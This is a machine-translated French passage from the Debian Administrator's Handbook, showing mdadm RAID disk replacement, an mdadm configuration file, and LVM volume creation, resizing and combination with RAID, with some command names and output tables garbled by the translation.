Machine Translated by Google

UUID : 20a8419b:41612750:b9171cfe:00d9a432
Événements : 35

Numéro Majeur Mineur RaidDevice État

0 8 98 synchronisation
0 active /dev/sdg2
1 0 0 1 supprimé

2 8 112 ­
pièce de rechange défectueuse /dev/sdh

Le contenu du volume est toujours accessible (et, s'il est monté, les applications ne le remarquent pas)
une chose), mais la sécurité des données n'est plus assurée : en cas de panne du disque sdg à son tour, les données

serait perdu. Nous voulons éviter ce risque, nous allons donc remplacer le disque défaillant par un nouveau, sdi :

# mdadm /dev/md1 ­­add /dev/sdi

mdadm : ajouté /dev/sdi
# mdadm ­­detail /dev/md1
/dev/md1 :
[...]
Dispositifs de raid : 2
Total des appareils : 3

Persistance : le superbloc est persistant

Heure de mise à jour : jeu. 30 septembre 2010 [Link]

Etat : actif, dégradé, en convalescence
Appareils actifs : 1

Appareils de travail : 2
Appareils en panne : 1

Appareils de rechange : 1

Statut de reconstruction : 45 % terminé

Nom : squeeze:1 (local vers l'hôte squeeze)

UUID : 20a8419b:41612750:b9171cfe:00d9a432
Événements : 53

Numéro Majeur Mineur RaidDevice État

0 8 98 synchronisation
0 active /dev/sdg2
3 8 128 1 reconstruction de rechange /dev/sdi

2 8 112 ­
pièce de rechange défectueuse /dev/sdh
# [...]
[...]
# mdadm ­­detail /dev/md1
/dev/md1 :

306 Le manuel de l'administrateur Debian

Machine Translated by Google

[...]
Heure de mise à jour : jeu. 30 septembre 2010 [Link]
Etat : actif
Appareils actifs : 2

Appareils de travail : 2
Appareils en panne : 1

Appareils de rechange : 0

Nom : squeeze:1 (local vers l'hôte squeeze)

UUID : 20a8419b:41612750:b9171cfe:00d9a432
Événements : 71

Numéro Majeur Mineur RaidDevice État

0 8 0 active /dev/sdg2
98 synchronisation
1 8 128 1 synchronisation active /dev/sdi

2 8 112 ­ pièce de rechange défectueuse /dev/sdh

Là encore, le noyau déclenche automatiquement une phase de reconstruction durant laquelle le volume,
bien que toujours accessible, est dans un mode dégradé. Une fois la reconstruction terminée, la matrice RAID
est revenu à un état normal. On peut alors indiquer au système que le disque sdh est sur le point d'être supprimé
de la baie, pour aboutir à un miroir RAID classique sur deux disques :

# mdadm /dev/md1 ­­remove /dev/sdh

mdadm : /dev/sdh supprimé à chaud de /dev/md1
# mdadm ­­detail /dev/md1
/dev/md1 :
[...]
Numéro Majeur Mineur RaidDevice État
0 8 0 active /dev/sdg2
98 synchronisation
1 8 128 1 synchronisation active /dev/sdi

Dès lors, le disque peut être physiquement retiré lors de la prochaine mise hors tension du serveur, voire même
supprimé à chaud lorsque la configuration matérielle autorise le remplacement à chaud. De telles configurations incluent
certains contrôleurs SCSI, la plupart des disques SATA et des disques externes fonctionnant sur USB ou Firewire.

[Link]. Sauvegarde de la configuration

La plupart des métadonnées concernant les volumes RAID sont sauvegardées directement sur les disques qui les composent.
ces tableaux, afin que le noyau puisse détecter les tableaux et leurs composants et les assembler
automatiquement au démarrage du système. Cependant, la sauvegarde de cette configuration est encouragée,
car cette détection n'est pas infaillible et on s'attend seulement à ce qu'elle échoue précisément dans des environnements sensibles.
circonstances. Dans notre exemple, si la panne du disque sdh avait été réelle (au lieu d'être simulée) et
le système avait été redémarré sans retirer ce disque sdh , ce disque pourrait commencer à fonctionner

Chapitre 12 — Administration avancée 307

Machine Translated by Google

encore une fois en raison d'avoir été sondé lors du redémarrage. Le noyau comporterait alors trois éléments physiques,
chacun prétendant contenir la moitié du même volume RAID. Une autre source de confusion peut survenir lorsque les
volumes RAID de deux serveurs sont consolidés sur un seul serveur. Si ces baies fonctionnaient normalement avant le
déplacement des disques, le noyau serait capable de détecter et de réassembler correctement les paires ; mais si les
disques déplacés avaient été regroupés dans un md1 sur l'ancien serveur et que le nouveau serveur possède déjà un
md1, l'un des miroirs serait renommé.

La sauvegarde de la configuration est donc importante, ne serait­ce que pour référence. La manière standard de
procéder consiste à éditer le fichier /etc/mdadm/[Link] , dont un exemple est répertorié ici :

# [Link]
#
# Veuillez vous référer à [Link](5) pour plus d'informations sur ce fichier.
#

# par défaut, analyse toutes les partitions (/proc/partitions) pour les superblocs MD. # Vous pouvez également
spécifier les périphériques à analyser, en utilisant des caractères génériques si vous le souhaitez.
APPAREIL /dev/sd*

# créer automatiquement des appareils avec les autorisations standard Debian

CREATE propriétaire = groupe racine = mode disque = 0660 auto = oui

# marque automatiquement les nouveaux tableaux comme appartenant au système local

HOMEHOST <système>

# indique au démon de surveillance où envoyer les alertes par courrier électronique

Racine MAILADDR

ARRAY /dev/md0 métadonnées=1.2 nom=squeeze:0 UUID=6194b63f:69a40eb5:a79b7ad3 :

c91f20ee

ARRAY /dev/md1 métadonnées=1.2 nom=squeeze:1 UUID=20a8419b:41612750:b9171cfe:00

d9a432

Exemple 12.1 Fichier de configuration mdadm

L'un des détails les plus utiles est l' option DEVICE , qui répertorie les périphériques sur lesquels le système recherchera
automatiquement les composants des volumes RAID au démarrage. Dans notre exemple, nous avons remplacé la
valeur par défaut, partitions, par une liste explicite de fichiers de périphériques, puisque nous avons choisi d'utiliser des
disques entiers et pas seulement des partitions, pour certains volumes.

Les deux dernières lignes de notre exemple sont celles qui permettent au noyau de choisir en toute sécurité quel
numéro de volume attribuer à quel tableau. Les métadonnées stockées sur les disques eux­mêmes suffisent à
réassembler les volumes, mais pas à déterminer le numéro de volume (et le nom de périphérique /dev/md*
correspondant ).

308 Le manuel de l'administrateur Debian

Machine Translated by Google

Heureusement, ces lignes peuvent être générées automatiquement :

# mdadm ­­misc ­­detail ­­brief /dev/md?

ARRAY /dev/md0 métadonnées=1.2 nom=squeeze:0 UUID=6194b63f:69a40eb5:a79b7ad3 :
c91f20ee

ARRAY /dev/md1 métadonnées=1.2 nom=squeeze:1 UUID=20a8419b:41612750:b9171cfe:00

d9a432

Le contenu de ces deux dernières lignes ne dépend pas de la liste des disques inclus dans le volume.
Il n'est donc pas nécessaire de régénérer ces lignes lors du remplacement d'un disque défaillant par un nouveau.
En revanche, il faut veiller à mettre à jour le fichier lors de la création ou de la suppression d'une matrice RAID.

12.1.2. LVM

LVM, Logical Volume Manager, est une autre approche permettant d'extraire les volumes logiques de leurs supports
physiques, qui se concentre sur l'augmentation de la flexibilité plutôt que sur l'augmentation de la fiabilité.
LVM permet de changer un volume logique de manière transparente en ce qui concerne les applications ; par exemple, il
est possible d'ajouter de nouveaux disques, d'y migrer les données et de supprimer les anciens disques, sans démonter
le volume.

[Link]. Concepts LVM

Cette flexibilité est atteinte par un niveau d'abstraction impliquant trois concepts.

Premièrement, le PV (Physical Volume) est l'entité la plus proche du matériel : il peut s'agir de partitions sur un disque, ou
d'un disque complet, ou encore de tout autre périphérique bloc. Notez que lorsqu'un élément physique est configuré pour
être un PV pour LVM, il ne doit être accessible que via LVM, sinon le système sera confus.

Un certain nombre de PV peuvent être regroupés dans un VG (Volume Group), comparable à des disques à la fois virtuels
et extensibles. Les VG sont abstraits et n'apparaissent pas dans un fichier de périphérique dans la hiérarchie /dev , il n'y
a donc aucun risque de les utiliser directement.

Le troisième type d'objet est le LV (Logical Volume), qui est un morceau d'un VG ; si l'on garde l'analogie VG­as­disk, le
LV se compare à une partition. Le LV apparaît comme un périphérique de bloc avec une entrée dans /dev, et il peut être
utilisé comme n'importe quelle autre partition physique (le plus souvent, pour héberger un système de fichiers ou un
espace d'échange).

L'important est que le découpage d'un VG en LV est totalement indépendant de ses composants physiques (les PV). Un
VG ne comportant qu'un seul composant physique (un disque par exemple) peut être découpé en une douzaine de
volumes logiques ; de même, un VG peut utiliser plusieurs disques physiques et apparaître comme un seul grand volume
logique. La seule contrainte est qu'évidemment la taille totale allouée aux LV ne peut pas être supérieure à la capacité
totale des PV du groupe de volumes.

Cependant, il est souvent judicieux d'avoir une certaine sorte d'homogénéité entre les composants physiques d'un VG et
de diviser le VG en volumes logiques qui auront des modèles d'utilisation similaires.
Par exemple, si le matériel disponible comprend des disques rapides et des disques plus lents, les plus rapides pourraient

Chapitre 12 — Administration avancée 309

Machine Translated by Google

être regroupés dans un VG et les plus lents dans un autre ; des morceaux du premier pourront ensuite être affectés à des
applications nécessitant un accès rapide aux données, tandis que le second sera réservé à des tâches moins exigeantes.

Dans tous les cas, gardez à l'esprit qu'un BT n'est pas particulièrement attaché à un PV en particulier. Il est possible d'influencer
l'endroit où les données d'un LV sont physiquement stockées, mais cette possibilité n'est pas requise pour une utilisation
quotidienne. Au contraire : lorsque l'ensemble des composants physiques d'un VG évolue, les emplacements de stockage
physiques correspondant à un LV particulier peuvent être migrés entre disques (tout en restant dans les PV attribués au VG,
bien entendu).

[Link]. Configuration de LVM

Suivons maintenant, étape par étape, le processus de mise en place de LVM pour un cas d'utilisation typique : nous souhaitons
simplifier une situation de stockage complexe. Une telle situation se produit généralement après une longue et compliquée
histoire de mesures temporaires accumulées. A titre d'illustration, nous considérerons un serveur dont les besoins de stockage
ont évolué au fil du temps, se retrouvant dans un dédale de partitions disponibles réparties sur plusieurs disques partiellement
utilisés. Plus concrètement, les partitions suivantes sont disponibles :

• sur le disque sdb , une partition sdb2 , 4 Go ;

• sur le disque sdc , une partition sdc3 , 3 Go ;

• le disque SDD , 4 Go, en totalité disponible ;

• sur le disque sdf , une partition sdf1 , 4 Go ; et une partition sdf2 , 5 Go.

De plus, supposons que les disques sdb et sdf soient plus rapides que les deux autres.

Notre objectif est de mettre en place trois volumes logiques pour trois applications différentes : un serveur de fichiers
nécessitant 5 Go d'espace de stockage, une base de données (1 Go) et un espace pour les sauvegardes (12 Go). Les deux
premiers nécessitent de bonnes performances, mais les sauvegardes sont moins critiques en termes de vitesse d'accès.
Toutes ces contraintes empêchent l'utilisation de cloisons seules ; l'utilisation de LVM peut faire abstraction de la taille physique
des appareils, la seule limite est donc l'espace total disponible.

Les outils requis se trouvent dans le package lvm2 et ses dépendances. Une fois installés, la configuration de LVM se déroule
en trois étapes, correspondant aux trois niveaux de concepts.

Tout d’abord, nous préparons les volumes physiques à l’aide de pvcreate :

# pvdisplay #
pvcreate /dev/sdb2
Le volume physique "/dev/sdb2" a été créé avec succès

310 Le manuel de l'administrateur Debian

Machine Translated by Google

# affichagepv

"/dev/sdb2" est un nouveau volume physique de "4,00 GiB"

­­­ NOUVEAU Volume physique ­­­
Nom du PV /dev/sdb2
Nom du VG
Taille PV 4,00 Gio
Allouable NON

Taille PE (Ko) 0
PE total 0
PE gratuit 0
PE alloué 0
UUID PV 9JuaGR­W7jc­pNgj­NU4l­2IX1­kUJ7­m8cRim

# pour moi dans sdc3 sdd sdf1 sdf2 ; faire pvcreate /dev/$i ; fait
Le volume physique "/dev/sdc3" a été créé avec succès
Le volume physique "/dev/sdd" a été créé avec succès
Le volume physique "/dev/sdf1" a été créé avec succès
Le volume physique "/dev/sdf2" a été créé avec succès
# pvdisplay ­C
PV VG Fmt Attr PTaille PGratuit
/dev/sdb2 lvm2 a­ 4,00g 4,00g
/dev/sdc3 lvm2 a­ 3,09 g 3,09 g
/dev/sdd / lvm2 a­ 4,00g 4,00g
dev/sdf1 /dev/ lvm2 a­ 4,10g 4,10g
sdf2 lvm2 a­ 5,22g 5,22g

Jusqu'ici, tout va bien; notez qu'un PV peut être configuré sur un disque complet ainsi que sur des partitions individuelles de
il. Comme indiqué ci­dessus, la commande pvdisplay répertorie les PV existants, avec deux sorties possibles
formats.

Assemblons maintenant ces éléments physiques en VG à l'aide de vgcreate. Nous ne rassemblerons que des PV
des disques rapides vers un VG vg_critical ; l'autre VG, vg_normal, inclura également des
éléments.

# affichage vg
# vgcreate vg_critical /dev/sdb2 /dev/sdf1
Le groupe de volumes "vg_critical" a été créé avec succès
# affichage vg
­­­ Groupe de volumes ­­­
Nom du VG vg_critique
ID système
Format lvm2
Zones de métadonnées 2
Séquence de métadonnées n° 1

Chapitre 12 — Administration avancée 311

Machine Translated by Google

Accès VG lire écrire

Statut VG redimensionnable

VT MAX 0
Cour LV 0
Ouvrir le BT 0
PV maximum 0
PV actuel 2
Acte PV 2
Taille VG 8,14 Go
Taille PE 4,00 Mo
PE total 2084
Allouer PE / Taille 0/0
PE/taille gratuit 2084 / 8,14 Go
UUID VG 6eG6BW­MmJE­KB0J­dsB2­52iL­N6eD­1paeo8

# vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2

Le groupe de volumes "vg_normal" a été créé avec succès
# vgdisplay ­C
VG #PV #LV #SN Attr VTaille VLibre

vg_critical 2 0 0 wz­­n­ 8,14g 8,14g

vg_normal 3 0 0 wz­­n­ 12,30g 12,30g

Là encore, les commandes sont plutôt simples (et vgdisplay propose deux formats de sortie). A noter qu'il est tout à fait
possible d'utiliser deux partitions d'un même disque physique en deux
différents VG. Notez également que nous avons utilisé un préfixe vg_ pour nommer nos VG, mais ce n'est rien de plus que
une convention.

Nous disposons désormais de deux « disques virtuels », d’une taille respective d’environ 8 Go et 12 Go. Maintenant, sculptons
placez­les dans des « partitions virtuelles » (LV). Cela implique la commande lvcreate et un léger
syntaxe plus complexe :

# affichage lv
# lvcreate ­n lv_files ­L 5G vg_critical
Volume logique "lv_files" créé
# affichage lv
­­­ Volume logique ­­­
Nom du VL /dev/vg_critical/lv_files
Nom du VG vg_critique
UUID BT 4QLhl3­2cON­jRgQ­X4eT­93J4­6Ox9­GyRx3M
Accès en écriture BT lire écrire
Statut BT disponible
# ouvrir 0
Taille BT 5,00 Go
LE actuel 1280
Segments 2

312 Le manuel de l'administrateur Debian

Machine Translated by Google

Allocation hériter
Lire à l'avance les secteurs auto

­ actuellement réglé sur 256

Bloquer l'appareil 253:0

# lvcreate ­n lv_base ­L 1G vg_critical

Volume logique "lv_base" créé # lvcreate ­n
lv_backups ­L 12G vg_normal
Volume logique "lv_backups" créé # lvdisplay ­C

BT VG Attr LSize Origin Snap% Move Log Copy% Convert lv_base vg_critical ­wi­a­
1.00G lv_files vg_critical ­wi­a­ 5.00G lv_backups
vg_normal ­wi­a­ 12.00G

Deux paramètres sont requis lors de la création de volumes logiques ; ils doivent être transmis à
lvcreate en tant qu'options. Le nom du LV à créer est spécifié avec l' option ­n , et sa taille est
généralement donnée à l'aide de l' option ­L . Nous devons également indiquer à la commande sur
quel VG opérer, bien sûr, d'où le dernier paramètre sur la ligne de commande.

ALLER PLUS LOIN La commande lvcreate propose plusieurs options pour permettre de modifier la façon dont le LV est créé.

options de création de lv

Décrivons d'abord l'option ­l, avec laquelle la taille du LV peut être donnée en nombre de blocs (par opposition
aux unités « humaines » que nous avons utilisées ci­dessus). Ces blocs (appelés PE, extensions physiques,
en termes LVM) sont des unités contiguës d'espace de stockage dans des PV, et ils ne peuvent pas être
répartis entre les LV. Lorsqu'on souhaite définir l'espace de stockage d'un LV avec une certaine précision, par
exemple pour utiliser tout l'espace disponible, l'option ­l sera probablement préférée à ­L.

Il est également possible de faire allusion à l'emplacement physique d'un LV, afin que ses extensions soient
stockées sur un PV particulier (tout en restant dans celles assignées au VG, bien sûr). Puisque nous savons
que sdb est plus rapide que sdf, nous souhaiterons peut­être y stocker le lv_base si nous voulons donner un
avantage au serveur de base de données par rapport au serveur de fichiers. La ligne de commande devient :
lvcreate ­n lv_­base ­L 1G vg_critical /dev/sdb2. Notez que cette commande peut échouer si le PV ne dispose
pas de suffisamment d'extensions libres. Dans notre exemple, il faudrait probablement créer lv_base avant
lv_files pour éviter cette situation – ou libérer de l'espace sur sdb2 avec la commande pvmove .

Les volumes logiques, une fois créés, finissent sous forme de fichiers de périphérique bloc dans /dev/mapper/ :

# ls ­l /dev/mapper total 0

crw­rw­­­­ 1 racine racine 10, 59 5 oct. 17h40 contrôle 7 5 oct. 18h14 vg_critical­
lrwxrwxrwx 1 racine racine lv_base ­> ../dm­1 7 5 oct. 18:14 vg_critical­lv_files ­> ../dm­0 7 5 oct. 18h14
lrwxrwxrwx 1 racine racine vg_normal­lv_backups ­> ../dm­2
lrwxrwxrwx 1 racine racine

Chapitre 12 — Administration avancée 313

Machine Translated by Google

# ls ­l /dev/dm­*
brw­rw ­­­­ 1 disque racine 253, 0 5 oct. 18:14 /dev/dm­0 brw­rw­­­­ 1 disque racine 253,
1 5 oct. 18:14 /dev/dm­1 brw­rw­­­­ 1 disque racine 253, 2 5 oct. 18:14 /dev/dm­2

NOTE Lorsque l'ordinateur démarre, le script /etc/init.d/lvm analyse les périphériques disponibles ;
Détection automatique des volumes LVM ceux qui ont été initialisés en tant que volumes physiques pour LVM sont enregistrés dans le
sous­système LVM, ceux qui appartiennent aux groupes de volumes sont assemblés et les
volumes logiques pertinents sont démarrés et mis à disposition. Il n'est donc pas nécessaire
d'éditer les fichiers de configuration lors de la création ou de la modification de volumes LVM.

Notez cependant que la disposition des éléments LVM (volumes physiques et logiques, et
groupes de volumes) est sauvegardée dans /etc/lvm/backup, ce qui peut être utile en cas de
problème (ou simplement pour avoir un aperçu). sous la capuche).

Pour faciliter les choses, des liens symboliques pratiques sont également créés dans des répertoires correspondant au
VG :

# ls ­l /dev/vg_critical total 0

lrwxrwxrwx 1 racine racine 7 5 oct. 18:14 lv_base ­> ../dm­1 lrwxrwxrwx 1 racine racine 7 5
oct. 18:14 lv_files ­> ../dm­0 # ls ­l /dev/vg_normal total 0

lrwxrwxrwx 1 racine racine 7 5 oct. 18:14 lv_backups ­> ../dm­2

Les LV peuvent alors être utilisées exactement comme des partitions standards :

# mkfs.ext4 /dev/vg_normal/lv_backups mke2fs 1.41.12 (17

mai 2010)
Étiquette du système de
fichiers= Type de

système d'exploitation : Linux Taille du

bloc=4096 (log=2) [...]

Ce système de fichiers sera automatiquement vérifié tous les 34 montages ou 180 jours, selon la
première éventualité. Utilisez tune2fs ­c ou ­i pour remplacer. # mkdir /srv/backups # mount /dev/vg_normal/
lv_backups /srv/backups # df ­h /
srv/backups Système de fichiers /dev/mapper/vg_normal­lv_backups 12G
159M 12G 2% /srv/backups
Taille utilisée Utilisation disponible% Monté sur

# [...] [...]

314 Le manuel de l'administrateur Debian

Machine Translated by Google

# chat /etc/fstab
[...]
/dev/vg_critical/lv_base /dev/ /srv/base poste4

vg_critical/lv_files /srv/files /dev/vg_normal/ poste4

lv_backups /srv/backups poste4

Du point de vue des applications, la myriade de petites partitions ont désormais été résumées dans
un gros volume de 12 Go, avec un nom plus convivial.

[Link]. LVM au fil du temps

Même si la possibilité d'agréger des partitions ou des disques physiques est pratique, ce n'est pas la solution idéale.
principal avantage apporté par LVM. La flexibilité qu'elle apporte se remarque surtout au fil du temps,
quand les besoins évoluent. Dans notre exemple, supposons que de nouveaux fichiers volumineux doivent être stockés, et que
le LV dédié au serveur de fichiers est trop petit pour les contenir. Puisque nous n'avons pas utilisé le

tout l'espace disponible dans vg_critical, nous pouvons développer lv_files. Pour cela, nous utiliserons le

commande lvresize , puis resize2fs pour adapter le système de fichiers en conséquence :

# df ­h /srv/fichiers/
Système de Taille utilisée % d'utilisation disponible monté sur/dev/mapper/vg_critical
fichiers 5.0G 4.6G 142M 98% /srv/fichiers
­lv_files # lvdisplay ­C vg_critical/lv_files
BT VG Attr LSize Origin Snap% Move Log Copy% Convert
lv_files vg_critical ­wi­ao 5.00g
# vgdisplay ­C vg_critical
VG #PV #LV #SN Attr VTaille VLibre
vg_critical 2 # 2 0 wz­­n­ 8,14g 2,14g
lvresize ­L 7G vg_critical/lv_files
Extension du volume logique lv_files à 7,00 Go
Le volume logique lv_files a été redimensionné avec succès
# lvdisplay ­C vg_critical/lv_files
BT VG Attr LSize Origin Snap% Move Log Copy% Convert
lv_files vg_critique ­wi­ao 7.00g
# resize2fs /dev/vg_critical/lv_files
resize2fs 1.41.12 (17 mai 2010)
Le système de fichiers sur /dev/vg_critical/lv_files est monté sur /srv/files ; en ligne
redimensionnement requis
vieux desc_blocks = 1, new_desc_blocks = 1
Effectuer un redimensionnement en ligne de /dev/vg_critical/lv_files à 1835008 (4k)
blocs.
Le système de fichiers sur /dev/vg_critical/lv_files compte désormais 1835008 blocs.

Chapitre 12 — Administration avancée 315

Machine Translated by Google

# df ­h /srv/fichiers/
Système de Taille utilisée Utilisation disponible% Monté sur

fichiers /dev/mapper/vg_critical­lv_files
6,9G 4,6G 2,1G 70% /srv/fichiers

PRUDENCE Tous les systèmes de fichiers ne peuvent pas être redimensionnés en ligne ; redimensionner un volume peut donc
nécessitent de démonter d'abord le système de fichiers et de le remonter ensuite. De
Redimensionner les systèmes de fichiers
Bien sûr, si l'on veut réduire l'espace alloué à un LV, le système de fichiers
doit d'abord être rétréci; l'ordre est inversé lorsque le redimensionnement passe dans l'autre
direction : le volume logique doit être agrandi avant le système de fichiers qui s'y trouve. C'est
plutôt simple, puisqu'à aucun moment la taille du système de fichiers ne doit être plus grande
que le périphérique bloc où il réside (que ce périphérique soit une partition physique ou un volume logique).

Les systèmes de fichiers ext3, ext4 et xfs peuvent être développés en ligne, sans démontage ;
le rétrécissement nécessite un démontage. Le système de fichiers reiserfs permet le redimensionnement en ligne
dans les deux sens. Le vénérable ext2 ne permet ni l'un ni l'autre, et nécessite toujours
démontage.

On pourrait procéder de la même façon pour étendre le volume hébergeant la base de données, seulement on a
atteint la limite d'espace disponible du VG :

# df ­h /srv/base/
Système de Taille utilisée Utilisation disponible% Monté sur

fichiers /dev/mapper/vg_critical­lv_base
1008M 835M 123M 88% /serv/base
# vgdisplay ­C vg_critical
VG #PV #LV #SN Attr VTaille VLibre
vg_critique 2 2 0 wz­­n­ 8,14g 144,00m

Peu importe, puisque LVM permet d'ajouter des volumes physiques aux groupes de volumes existants. Par exemple,
peut­être avons­nous remarqué que la partition sdb1 , qui était jusqu'ici utilisée en dehors de LVM, ne contenait que des archives
pouvant être déplacées vers lv_backups. Nous pouvons désormais le recycler et l'intégrer au

groupe de volumes, et ainsi récupérer de l'espace disponible. C'est le but de vgextend

commande. Bien entendu, la partition doit être préparée au préalable en tant que volume physique. Une fois la
VG a été étendu, on peut utiliser des commandes similaires comme précédemment pour augmenter le volume logique
puis le système de fichiers :

# pvcreate /dev/sdb1
Le volume physique "/dev/sdb1" a été créé avec succès
# vgextend vg_critical /dev/sdb1
Le groupe de volumes "vg_critical" a été étendu avec succès
# vgdisplay ­C vg_critical
VG #PV #LV #SN Attr VTaille VLibre
vg_critique 3 # [...] 2 0 wz­­n­ 9,09g 1,09g

316 Le manuel de l'administrateur Debian

Machine Translated by Google

[...] #
df ­h /srv/base/ Système de
fichiers /dev/ Taille utilisée Utilisation disponible% Monté sur

mapper/vg_critical­lv_base
2.0G 835M 1.1G 44% /srv/base

ALLER PLUS LOIN LVM s'adresse également à des utilisations plus avancées, où de nombreux détails
LVM avancé peuvent être spécifiés à la main. Par exemple, un administrateur peut modifier la taille
des blocs qui composent les volumes physiques et logiques, ainsi que leur disposition
physique. Il est également possible de déplacer des blocs entre les PV, par exemple
pour affiner les performances ou, de manière plus banale, pour libérer un PV lorsqu'il
faut extraire le disque physique correspondant du VG (que ce soit pour l'affecter à un
autre VG ou pour le supprimer complètement de LVM). Les pages de manuel décrivant
les commandes sont généralement claires et détaillées. Un bon point d'entrée est la page de manuel lvm(8

12.1.3. RAID ou LVM ?

RAID et LVM apportent tous deux des avantages incontestables dès que l'on quitte le cas simple d'un ordinateur
de bureau avec un seul disque dur dont le modèle d'utilisation ne change pas dans le temps.
Cependant, RAID et LVM vont dans deux directions différentes, avec des objectifs divergents, et il est légitime de
se demander laquelle adopter. La réponse la plus appropriée dépendra bien entendu des exigences actuelles et
prévisibles.

Il existe quelques cas simples où la question ne se pose pas vraiment. Si l'exigence est de protéger les données
contre les pannes matérielles, alors évidemment RAID sera configuré sur une matrice de disques redondante,
puisque LVM ne résout pas vraiment ce problème. Si, en revanche, vous avez besoin d'un système de stockage
flexible dans lequel les volumes sont indépendants de la disposition physique des disques, le RAID n'aide pas
beaucoup et LVM sera le choix naturel.

Le troisième cas d'utilisation notable est celui où l'on souhaite simplement regrouper deux disques en un seul
volume, soit pour des raisons de performances, soit pour disposer d'un seul système de fichiers plus grand que
n'importe lequel des disques disponibles. Ce cas peut être résolu à la fois par un RAID­0 (ou même un RAID­
linéaire) et par un volume LVM. Dans cette situation, et sauf contraintes supplémentaires (en restant en phase
avec le reste des ordinateurs s'ils utilisent uniquement du RAID), la configuration de choix sera souvent LVM. La
configuration initiale est légèrement plus complexe, mais cette légère augmentation de complexité compense
largement la flexibilité supplémentaire qu'apporte LVM si les exigences changent ou si de nouveaux disques doivent être ajoutés.

Ensuite, bien sûr, il y a le cas d’utilisation vraiment intéressant, où le système de stockage doit être à la fois
résistant aux pannes matérielles et flexible en matière d’allocation de volume. Ni RAID ni LVM ne peuvent
répondre à eux seuls à ces deux exigences ; peu importe, c’est ici que nous utilisons les deux en même temps –
ou plutôt l’un sur l’autre. Le schéma qui est pratiquement devenu un standard depuis que RAID et LVM ont atteint
leur maturité consiste à assurer d'abord la redondance des données en regroupant les disques dans un petit
nombre de grandes matrices RAID, et à utiliser ces matrices RAID comme volumes physiques LVM ; des partitions
logiques seront ensuite découpées à partir de ces LV pour les systèmes de fichiers. L'argument de vente de cette
configuration est que lorsqu'un disque tombe en panne, seul un petit nombre de matrices RAID auront besoin

Chapitre 12 — Administration avancée 317

Machine Translated by Google

à reconstruire, limitant ainsi le temps passé par l'administrateur à la récupération.

Prenons un exemple concret : le service des relations publiques de Falcot Corp a besoin d'un poste de travail pour le montage
vidéo, mais le budget du service ne permet pas d'investir de bas en haut dans du matériel haut de gamme. Il est décidé de
privilégier le matériel spécifique au
nature graphique du travail (moniteur et carte vidéo), et de rester avec du matériel générique pour
stockage. Cependant, comme chacun le sait, la vidéo numérique présente des exigences particulières en matière de
son stockage : la quantité de données à stocker est importante, et le débit en lecture et en écriture
ces données sont importantes pour les performances globales du système (plus que le temps d'accès typique, par exemple).
exemple). Ces contraintes doivent être remplies avec du matériel générique, en l'occurrence deux
Disques durs SATA ; les données du système doivent également être rendues résistantes aux pannes matérielles.
ainsi que certaines données utilisateur. Les vidéoclips montés doivent en effet être sécurisés, mais la vidéo se précipite en attendant le montage

sont moins critiques, puisqu'ils sont toujours sur les bandes vidéo.

RAID­1 et LVM sont combinés pour satisfaire ces contraintes. Les disques sont connectés à deux contrôleurs SATA différents
pour optimiser l'accès parallèle et réduire le risque de panne simultanée,
et ils apparaissent donc comme sda et sdc. Ils sont répartis à l'identique comme suit
schème:

# fdisk ­l /dev/sda

Disque /dev/hda : 300,0 Go, 300090728448 octets

255 têtes, 63 secteurs/piste, 36483 cylindres
Unités = cylindres de 16065 * 512 = 8225280 octets
Taille du secteur (logique/physique) : 512 octets / 512 octets
Taille d'E/S (minimum/optimal) : 512 octets / 512 octets
Identifiant du disque : 0x00039a9f

Démarrage du Commencer Fin Système d'identification des blocs

périphérique /dev/sda1 * 1 124 995998+ fd Détection automatique du raid Linux
/dev/sda2 125 248 996030 82 Échange Linux / Solaris
/dev/sda3 249 36483 291057637+ 5 Étendu
/dev/sda5 249 12697 99996561 fd Détection automatique du raid Linux
/dev/sda6 / 12698 25146 99996561 fd Détection automatique du raid Linux
dev/sda7 25147 36483 91064421 8e LVM Linux

• Les premières partitions des deux disques (environ 1 Go) sont assemblées dans un volume RAID­1, md0.
Ce miroir est directement utilisé pour stocker le système de fichiers racine.

• Les partitions sda2 et sdc2 sont utilisées comme partitions de swap, fournissant un total de 2 Go de swap.
espace. Avec 1 Go de RAM, la station de travail dispose d’une quantité confortable de mémoire disponible.

• Les partitions sda5 et sdc5 , ainsi que sda6 et sdc6, sont assemblées en deux nouveaux volumes RAID­1 d'environ
100 Go chacun, md1 et md2. Ces deux miroirs sont initialisés comme physiques
volumes pour LVM et attribués au groupe de volumes vg_raid . Ce VG contient donc environ
200 Go d'espace sécurisé.

318 Le manuel de l'administrateur Debian

Machine Translated by Google

• Les partitions restantes, sda7 et sdc7, sont directement utilisées comme volumes physiques et affectées à
un autre VG appelé vg_bulk, qui se retrouve donc avec environ 200 Go d'espace.

Une fois les VG créés, ils peuvent être partitionnés de manière très flexible. Il faut garder à l'esprit que les LV créés dans
vg_raid seront conservés même si l'un des disques tombe en panne, ce qui ne sera pas le cas des LV créés dans vg_bulk ;
en revanche, ces derniers seront alloués en parallèle sur les deux disques, ce qui permet des vitesses de lecture ou d'écriture
plus élevées pour les fichiers volumineux.

Nous allons donc créer les LV lv_usr, lv_var et lv_home sur vg_raid, pour héberger les systèmes de fichiers correspondants ;
un autre grand LV, lv_movies, sera utilisé pour héberger les versions définitives des films après montage. L'autre VG sera
divisé en un grand lv_rushes, pour les données provenant directement des caméras vidéo numériques, et un lv_tmp pour les
fichiers temporaires. L'emplacement de la zone de travail est un choix moins simple à faire : même si de bonnes performances
sont nécessaires pour ce volume, vaut­il la peine de risquer de perdre du travail si un disque tombe en panne lors d'une
session d'édition ? En fonction de la réponse à cette question, le LV concerné sera créé sur l'un ou l'autre VG.

Nous disposons désormais à la fois d'une certaine redondance pour les données importantes et d'une grande flexibilité dans
la manière dont l'espace disponible est réparti entre les applications. Si un nouveau logiciel est installé ultérieurement (pour
éditer des clips audio, par exemple), l'hébergement LV /usr/ peut être développé sans problème.

NOTE Nous aurions pu configurer un seul volume RAID­1, pour servir de volume physique pour
Pourquoi trois volumes RAID­1 ? vg_raid. Pourquoi en créer trois, alors ?

La raison de la première division (md0 par rapport aux autres) concerne la sécurité des
données : les données écrites sur les deux éléments d'un miroir RAID­1 sont exactement
les mêmes, et il est donc possible de contourner la couche RAID et de monter l'un des
deux. les disques directement. En cas de bug du noyau par exemple, ou si les métadonnées
LVM sont corrompues, il est toujours possible de démarrer un système minimal pour accéder
aux données critiques telles que la disposition des disques dans les volumes RAID et LVM ;
les métadonnées peuvent ensuite être reconstruites et les fichiers accessibles à nouveau,
afin que le système puisse être ramené à son état nominal.

La justification de la deuxième division (md1 contre md2) est moins claire et davantage liée
